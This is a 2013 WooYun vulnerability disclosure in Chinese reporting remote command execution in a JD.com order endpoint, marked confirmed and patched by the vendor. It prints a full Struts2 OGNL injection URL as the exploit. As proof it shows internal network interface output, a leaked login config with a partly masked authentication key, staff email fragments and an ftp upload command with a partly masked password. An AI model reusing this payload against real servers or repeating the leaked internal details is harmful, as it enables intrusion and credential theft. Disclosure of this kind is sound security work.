当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-028604

漏洞标题：京东核心业务系统任意命令执行(涉及订单)

相关厂商：京东商城

漏洞作者： 曹操

提交时间：2013-07-11 21:35

修复时间：2013-08-25 21:36

公开时间：2013-08-25 21:36

漏洞类型：命令执行

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-11： 细节已通知厂商并且等待厂商处理中
2013-07-11： 厂商已经确认，细节仅向厂商公开
2013-07-21： 细节向核心白帽子及相关领域专家公开
2013-07-31： 细节向普通白帽子公开
2013-08-10： 细节向实习白帽子公开
2013-08-25： 细节向公众公开

简要描述：

买神器时不小心看到了...

详细说明：

http://trade.jd.com/order/getOrderInfo.action?rid=1373533786530&class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22www.wooyun.org%22),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]

漏洞证明：

Unnamed.jpg


内网ip很多，应该是做了负载均衡

eth0      Link encap:Ethernet  HWaddr E4:1F:13:BB:AD:E8  
          inet addr:192.168.129.173  Bcast:192.168.143.255  Mask:255.255.240.0
          inet6 addr: fe80::e61f:13ff:febb:ade8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:22570444411 errors:0 dropped:66 overruns:0 frame:0
          TX packets:26643442550 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9319599983352 (8.4 TiB)  TX bytes:15240979889136 (13.8 TiB)
          Interrupt:169 Memory:92000000-92012800 
eth0      Link encap:Ethernet  HWaddr E8:39:35:BD:3A:A0  
          inet addr:192.168.132.110  Bcast:192.168.143.255  Mask:255.255.240.0
          inet6 addr: fe80::ea39:35ff:febd:3aa0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:22588675074 errors:0 dropped:3743 overruns:0 frame:0
          TX packets:26728857127 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9203992301113 (8.3 TiB)  TX bytes:15015285476770 (13.6 TiB)
          Interrupt:162 Memory:f4000000-f4012800 
eth0      Link encap:Ethernet  HWaddr 5C:F3:FC:E6:85:E4  
          inet addr:192.168.130.186  Bcast:192.168.143.255  Mask:255.255.240.0
          inet6 addr: fe80::5ef3:fcff:fee6:85e4/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:24152678023 errors:0 dropped:96 overruns:0 frame:0
          TX packets:28121042634 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9764220091103 (8.8 TiB)  TX bytes:15845114815715 (14.4 TiB)
          Interrupt:169 Memory:92000000-92012800


#login jar
passport.checkLogin.cookieName=ceshi3.com
passport.checkLogin.authenticationKey=EDA3D5


mask 区域


*****5A7D32463F*****







passport.checkLogin.loginUrl=http://passport.360buy.com/new/login.aspx
passport.checkLogin.charsetName=GBK
#Author:l





mask 区域


*****ap*****






g@jd.com
#tester-1:b





mask 区域


*****imi*****






@jd.com
#tester-2:q





mask 区域


*****in*****






@jd.com
#auditor:b





mask 区域


*****imi*****






g@jd.com
bj





mask 区域


*****hi*****






ng@360buy.com
ftp -v -n -i 192.168.129.100 << eof
user upload j





mask 区域


*****nw*****






@upload

修复方案：

补丁

版权声明：转载请注明来源 曹操@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2013-07-11 22:04

厂商回复：

已经修复，非常感谢您对京东的关注！

最新状态：

暂无